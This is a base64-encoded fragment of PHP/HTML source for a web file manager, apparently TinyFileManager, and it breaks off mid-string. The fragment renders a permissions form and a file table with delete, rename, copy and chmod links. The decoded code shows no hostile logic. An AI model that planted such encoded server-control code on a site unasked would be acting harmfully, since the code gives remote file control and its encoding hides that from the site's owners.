ICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0idGV4dC1hbGlnbjogcmlnaHQiPjxiPjw/cGhwIGVjaG8gbG5nKCdXcml0ZScpID8+PC9iPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idXciIHZhbHVlPSIxIjw/cGhwIGVjaG8gKCRtb2RlICYgMDAyMDApID8gJyBjaGVja2VkJyA6ICcnID8+PjwvbGFiZWw+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJndyIgdmFsdWU9IjEiPD9waHAgZWNobyAoJG1vZGUgJiAwMDAyMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PC9sYWJlbD48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im93IiB2YWx1ZT0iMSI8P3BocCBlY2hvICgkbW9kZSAmIDAwMDAyKSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0idGV4dC1hbGlnbjogcmlnaHQiPjxiPjw/cGhwIGVjaG8gbG5nKCdFeGVjdXRlJykgPz48L2I+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ1eCIgdmFsdWU9IjEiPD9waHAgZWNobyAoJG1vZGUgJiAwMDEwMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PC9sYWJlbD48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Imd4IiB2YWx1ZT0iMSI8P3BocCBlY2hvICgkbW9kZSAmIDAwMDEwKSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ib3giIHZhbHVlPSIxIjw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMDEpID8gJyBjaGVja2VkJyA6ICcnID8+PjwvbGFiZWw+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgoKICAgICAgICAgICAgICAgICAgICA8cD4KICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PiI+IAogICAgICAgICAgICAgICAgICAgICAgICA8Yj48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiIgY2xhc3M9ImJ0biBidG4tb3V0bGluZS1wcmltYXJ5Ij48aSBjbGFzcz0iZmEgZmEtdGltZXMtY2lyY2xlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjwvYT48L2I+wqAKICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLXN1Y2Nlc3MiPjxpIGNsYXNzPSJmYSBmYS1jaGVjay1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0NoYW5nZScpID8+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgPC9wPgogICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgogICAgPD9waHAKICAgIGZtX3Nob3dfZm9vdGVyKCk7CiAgICBleGl0Owp9CgovLyAtLS0gVElOWUZJTEVNQU5BR0VSIE1BSU4gLS0tCmZtX3Nob3dfaGVhZGVyKCk7IC8vIEhFQURFUgpmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpOyAvLyBjdXJyZW50IHBhdGgKCi8vIHNob3cgYWxlcnQgbWVzc2FnZXMKZm1fc2hvd19tZXNzYWdlKCk7CgokbnVtX2ZpbGVzID0gY291bnQoJGZpbGVzKTsKJG51bV9mb2xkZXJzID0gY291bnQoJGZvbGRlcnMpOwokYWxsX2ZpbGVzX3NpemUgPSAwOwokdGFibGVUaGVtZSA9IChGTV9USEVNRSA9PSAiZGFyayIpID8gInRleHQtd2hpdGUgYmctZGFyayB0YWJsZS1kYXJrIiA6ICJiZy13aGl0ZSI7Cj8+Cjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGNsYXNzPSJwdC0zIj4KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InAiIHZhbHVlPSI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PiI+CiAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJncm91cCIgdmFsdWU9IjEiPgogICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idG9rZW4iIHZhbHVlPSI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz4iPgogICAgPGRpdiBjbGFzcz0idGFibGUtcmVzcG9uc2l2ZSI+CiAgICAgICAgPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ib3JkZXJlZCB0YWJsZS1ob3ZlciB0YWJsZS1zbSA8P3BocCBlY2hvICR0YWJsZVRoZW1lOyA/PiIgaWQ9Im1haW4tdGFibGUiPgogICAgICAgICAgICA8dGhlYWQgY2xhc3M9InRoZWFkLXdoaXRlIj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+CiAgICAgICAgICAgICAgICAgICAgPHRoIHN0eWxlPSJ3aWR0aDozJSIgY2xhc3M9ImN1c3RvbS1jaGVja2JveC1oZWFkZXIiPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3giPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBjbGFzcz0iY3VzdG9tLWNvbnRyb2wtaW5wdXQiIGlkPSJqcy1zZWxlY3QtYWxsLWl0ZW1zIiBvbmNsaWNrPSJjaGVja2JveF90b2dnbGUoKSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImN1c3RvbS1jb250cm9sLWxhYmVsIiBmb3I9ImpzLXNlbGVjdC1hbGwtaXRlbXMiPjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvdGg+PD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ05hbWUnKSA/PjwvdGg+CiAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ1NpemUnKSA/PjwvdGg+CiAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ01vZGlmaWVkJykgPz48L3RoPgogICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9JU19XSU4gJiYgISRoaWRlX0NvbHMpOiA/PgogICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnUGVybXMnKSA/PjwvdGg+CiAgICAgICAgICAgICAgICAgICAgPHRoPjw/cGhwIGVjaG8gbG5nKCdPd25lcicpID8+PC90aD48P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnQWN0aW9ucycpID8+PC90aD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90aGVhZD4KICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgLy8gbGluayB0byBwYXJlbnQgZm9sZGVyCiAgICAgICAgICAgIGlmICgkcGFyZW50ICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgPz4KICAgICAgICAgICAgICAgIDx0cj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9Im5vc29ydCI+PC90ZD48P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImJvcmRlci0wIiBkYXRhLXNvcnQ+PGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoJHBhcmVudCkgPz4iPjxpIGNsYXNzPSJmYSBmYS1jaGV2cm9uLWNpcmNsZS1sZWZ0IGdvLWJhY2siPjwvaT4gLi48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImJvcmRlci0wIiBkYXRhLW9yZGVyPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJib3JkZXItMCIgZGF0YS1vcmRlcj48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iYm9yZGVyLTAiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9JU19XSU4gJiYgISRoaWRlX0NvbHMpIHsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJib3JkZXItMCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJib3JkZXItMCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8P3BocCB9ID8+CiAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgfQogICAgICAgICAgICAkaWkgPSAzMzk5OwogICAgICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZikgewogICAgICAgICAgICAgICAgJGlzX2xpbmsgPSBpc19saW5rKCRwYXRoIC4gJy8nIC4gJGYpOwogICAgICAgICAgICAgICAgJGltZyA9ICRpc19saW5rID8gJ2ljb24tbGlua19mb2xkZXInIDogJ2ZhIGZhLWZvbGRlci1vJzsKICAgICAgICAgICAgICAgICRtb2RpZl9yYXcgPSBmaWxlbXRpbWUoJHBhdGggLiAnLycgLiAkZik7CiAgICAgICAgICAgICAgICAkbW9kaWYgPSBkYXRlKEZNX0RBVEVUSU1FX0ZPUk1BVCwgJG1vZGlmX3Jhdyk7CiAgICAgICAgICAgICAgICAkZGF0ZV9zb3J0aW5nID0gc3RydG90aW1lKGRhdGUoIkYgZCBZIEg6aTpzLiIsICRtb2RpZl9yYXcpKTsKICAgICAgICAgICAgICAgICRmaWxlc2l6ZV9yYXcgPSAiIjsKICAgICAgICAgICAgICAgICRmaWxlc2l6ZSA9IGxuZygnRm9sZGVyJyk7CiAgICAgICAgICAgICAgICAkcGVybXMgPSBzdWJzdHIoZGVjb2N0KGZpbGVwZXJtcygkcGF0aCAuICcvJyAuICRmKSksIC00KTsKICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKSB7CiAgICAgICAgICAgICAgICAgICAgJG93bmVyID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRwYXRoIC4gJy8nIC4gJGYpKTsKICAgICAgICAgICAgICAgICAgICAkZ3JvdXAgPSBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJHBhdGggLiAnLycgLiAkZikpOwogICAgICAgICAgICAgICAgICAgIGlmICgkb3duZXIgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRvd25lciA9IGFycmF5KCduYW1lJyA9PiAnPycpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZiAoJGdyb3VwID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkZ3JvdXAgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRvd25lciA9IGFycmF5KCduYW1lJyA9PiAnPycpOwogICAgICAgICAgICAgICAgICAgICRncm91cCA9IGFycmF5KCduYW1lJyA9PiAnPycpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgPz4KICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJjdXN0b20tY2hlY2tib3gtdGQiPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3giPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBjbGFzcz0iY3VzdG9tLWNvbnRyb2wtaW5wdXQiIGlkPSI8P3BocCBlY2hvICRpaSA/PiIgbmFtZT0iZmlsZVtdIiB2YWx1ZT0iPD9waHAgZWNobyBmbV9lbmMoJGYpID8+Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iY3VzdG9tLWNvbnRyb2wtbGFiZWwiIGZvcj0iPD9waHAgZWNobyAkaWkgPz4iPjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L3RkPjw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgIDx0ZCBkYXRhLXNvcnQ9PD9waHAgZWNobyBmbV9jb252ZXJ0X3dpbihmbV9lbmMoJGYpKSA/Pj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZW5hbWUiPjxhIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICcvJyAuICRmLCAnLycpKSA/PiI+PGkgY2xhc3M9Ijw/cGhwIGVjaG8gJGltZyA/PiI+PC9pPiA8P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+PD9waHAgZWNobygkaXNfbGluayA/ICcg4oaSIDxpPicgLiByZWFkbGluaygkcGF0aCAuICcvJyAuICRmKSAuICc8L2k+JyA6ICcnKSA/PjwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtb3JkZXI9ImEtPD9waHAgZWNobyBzdHJfcGFkKCRmaWxlc2l6ZV9yYXcsIDE4LCAiMCIsIFNUUl9QQURfTEVGVCk7Pz4iPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRmaWxlc2l6ZTsgPz4KICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCBkYXRhLW9yZGVyPSJhLTw/cGhwIGVjaG8gJGRhdGVfc29ydGluZzs/PiI+PD9waHAgZWNobyAkbW9kaWYgPz48L3RkPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PjxhIHRpdGxlPSJDaGFuZ2UgUGVybWlzc2lvbnMiIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmNobW9kPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PiI+PD9waHAgZWNobyAkcGVybXMgPz48L2E+PD9waHAgZWxzZTogPz48P3BocCBlY2hvICRwZXJtcyA/Pjw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PD9waHAgZWNobyAkb3duZXJbJ25hbWUnXSAuICc6JyAuICRncm91cFsnbmFtZSddID8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImlubGluZS1hY3Rpb25zIj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnRGVsZXRlJyk/PiIgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mZGVsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PiIgb25jbGljaz0iY29uZmlybURhaWxvZyhldmVudCwgJzEwMjgnLCc8P3BocCBlY2hvIGxuZygnRGVsZXRlJykuJyAnLmxuZygnRm9sZGVyJyk7ID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+JywgdGhpcy5ocmVmKTsiPiA8aSBjbGFzcz0iZmEgZmEtdHJhc2gtbyIgYXJpYS1oaWRkZW49InRydWUiPjwvaT48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ1JlbmFtZScpPz4iIGhyZWY9IiMiIG9uY2xpY2s9InJlbmFtZSgnPD9waHAgZWNobyBmbV9lbmMoYWRkc2xhc2hlcyhGTV9QQVRIKSkgPz4nLCAnPD9waHAgZWNobyBmbV9lbmMoYWRkc2xhc2hlcygkZikpID8+Jyk7cmV0dXJuIGZhbHNlOyI+PGkgY2xhc3M9ImZhIGZhLXBlbmNpbC1zcXVhcmUtbyIgYXJpYS1oaWRkZW49InRydWUiPjwvaT48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0NvcHlUbycpPz4uLi4iIGhyZWY9Ij9wPSZjb3B5PTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCAuICcvJyAuICRmLCAnLycpKSA/PiI+PGkgY2xhc3M9ImZhIGZhLWZpbGVzLW8iIGFyaWEtaGlkZGVuPSJ0cnVlIj48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdEaXJlY3RMaW5rJyk/PiIgaHJlZj0iPD9waHAgZWNobyBmbV9lbmMoRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICcvJyAuIEZNX1BBVEggOiAnJykgLiAnLycgLiAkZiAuICcvJykgPz4iIHRhcmdldD0iX2JsYW5rIj48aSBjbGFzcz0iZmEgZmEtbGluayIgYXJpYS1oaWRkZW49InRydWUiPjwvaT48L2E+CiAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZmx1c2goKTsKICAgICAgICAgICAgICAgICRpaSsrOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRpayA9IDYwNzA7CiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikgewogICAgICAgICAgICAgICAgJGlzX2xpbmsgPSBpc19saW5rKCRwYXRoIC4gJy8nIC4gJGYpOwogICAgICAgICAgICAgICAgJGltZyA9ICRpc19saW5rID8gJ2ZhIGZhLWZpbGUtdGV4dC1vJyA6IGZtX2dldF9maWxlX2ljb25fY2xhc3MoJHBhdGggLiAnLycgLiAkZik7CiAgICAgICAgICAgICAgICAkbW9kaWZfcmF3ID0gZmlsZW10aW1lKCRwYXRoIC4gJy8nIC4gJGYpOwogICAgICAgICAgICAgICAgJG1vZGlmID0gZGF0ZShGTV9EQVRFVElNRV9GT1JNQVQsICRtb2RpZl9yYXcpOwogICAgICAgICAgICAgICAgJGRhdGVfc29ydGluZyA9IHN0cnRvdGltZShkYXRlKCJGIGQgWSBIOmk6cy4iLCAkbW9kaWZfcmF3KSk7CiAgICAgICAgICAgICAgICAkZmlsZXNpemVfcmF3ID0gZm1fZ2V0X3NpemUoJHBhdGggLiAnLycgLiAkZik7CiAgICAgICAgICAgICAgICAkZmlsZXNpemUgPSBmbV9nZXRfZmlsZXNpemUoJGZpbGVzaXplX3Jhdyk7CiAgICAgICAgICAgICAgICAkZmlsZWxpbmsgPSAnP3A9JyAuIHVybGVuY29kZShGTV9QQVRIKSAuICcmdmlldz0nIC4gdXJsZW5jb2RlKCRmKTsKICAgICAgICAgICAgICAgICRhbGxfZmlsZXNfc2l6ZSArPSAkZmlsZXNpemVfcmF3OwogICAgICAgICAgICAgICAgJHBlcm1zID0gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoJHBhdGggLiAnLycgLiAkZikpLCAtNCk7CiAgICAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpICYmIGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSkgewogICAgICAgICAgICAgICAgICAgICRvd25lciA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkcGF0aCAuICcvJyAuICRmKSk7CiAgICAgICAgICAgICAgICAgICAgJGdyb3VwID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRwYXRoIC4gJy8nIC4gJGYpKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJG93bmVyID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkb3duZXIgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCRncm91cCA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkb3duZXIgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsKICAgICAgICAgICAgICAgICAgICAkZ3JvdXAgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iY3VzdG9tLWNoZWNrYm94LXRkIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY3VzdG9tLWNvbnRyb2wgY3VzdG9tLWNoZWNrYm94Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgY2xhc3M9ImN1c3RvbS1jb250cm9sLWlucHV0IiBpZD0iPD9waHAgZWNobyAkaWsgPz4iIG5hbWU9ImZpbGVbXSIgdmFsdWU9Ijw/cGhwIGVjaG8gZm1fZW5jKCRmKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImN1c3RvbS1jb250cm9sLWxhYmVsIiBmb3I9Ijw/cGhwIGVjaG8gJGlrID8+Ij48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD48P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1zb3J0PTw/cGhwIGVjaG8gZm1fZW5jKCRmKSA/Pj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZW5hbWUiPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaW5fYXJyYXkoc3RydG9sb3dlcihwYXRoaW5mbygkZiwgUEFUSElORk9fRVhURU5TSU9OKSksIGFycmF5KCdnaWYnLCAnanBnJywgJ2pwZWcnLCAncG5nJywgJ2JtcCcsICdpY28nLCAnc3ZnJywgJ3dlYnAnLCAnYXZpZicpKSk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgJGltYWdlUHJldmlldyA9IGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJy8nIC4gRk1fUEFUSCA6ICcnKSAuICcvJyAuICRmKTsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI8P3BocCBlY2hvICRmaWxlbGluayA/PiIgZGF0YS1wcmV2aWV3LWltYWdlPSI8P3BocCBlY2hvICRpbWFnZVByZXZpZXcgPz4iIHRpdGxlPSI8P3BocCBlY2hvIGZtX2VuYygkZikgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ijw/cGhwIGVjaG8gJGZpbGVsaW5rID8+IiB0aXRsZT0iPD9waHAgZWNobyAkZiA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9Ijw/cGhwIGVjaG8gJGltZyA/PiI+PC9pPiA8P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8oJGlzX2xpbmsgPyAnIOKGkiA8aT4nIC4gcmVhZGxpbmsoJHBhdGggLiAnLycgLiAkZikgLiAnPC9pPicgOiAnJykgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj0iYi08P3BocCBlY2hvIHN0cl9wYWQoJGZpbGVzaXplX3JhdywgMTgsICIwIiwgU1RSX1BBRF9MRUZUKTsgPz4iPjxzcGFuIHRpdGxlPSI8P3BocCBwcmludGYoJyVzIGJ5dGVzJywgJGZpbGVzaXplX3JhdykgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRmaWxlc2l6ZTsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtb3JkZXI9ImItPD9waHAgZWNobyAkZGF0ZV9zb3J0aW5nOz8+Ij48P3BocCBlY2hvICRtb2RpZiA/PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9JU19XSU4gJiYgISRoaWRlX0NvbHMpOiA/PgogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+PGEgdGl0bGU9Ijw/cGhwIGVjaG8gJ0NoYW5nZSBQZXJtaXNzaW9ucycgPz4iIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmNobW9kPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PiI+PD9waHAgZWNobyAkcGVybXMgPz48L2E+PD9waHAgZWxzZTogPz48P3BocCBlY2hvICRwZXJtcyA/Pjw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PD9waHAgZWNobyBmbV9lbmMoJG93bmVyWyduYW1lJ10gLiAnOicgLiAkZ3JvdXBbJ25hbWUnXSkgPz48L3RkPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iaW5saW5lLWFjdGlvbnMiPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgPz4iIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmRlbD08P3BocCBlY2hvIHVybGVuY29kZSgkZikgPz4iIG9uY2xpY2s9ImNvbmZpcm1EYWlsb2coZXZlbnQsIDEyMDksICc8P3BocCBlY2hvIGxuZygnRGVsZXRlJykuJyAnLmxuZygnRmlsZScpOyA/PicsJzw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKTsgPz4nLCB0aGlzLmhyZWYpOyI+IDxpIGNsYXNzPSJmYSBmYS10cmFzaC1vIj48L2k+PC9hPgogICAgICAgICAgICAgICAgI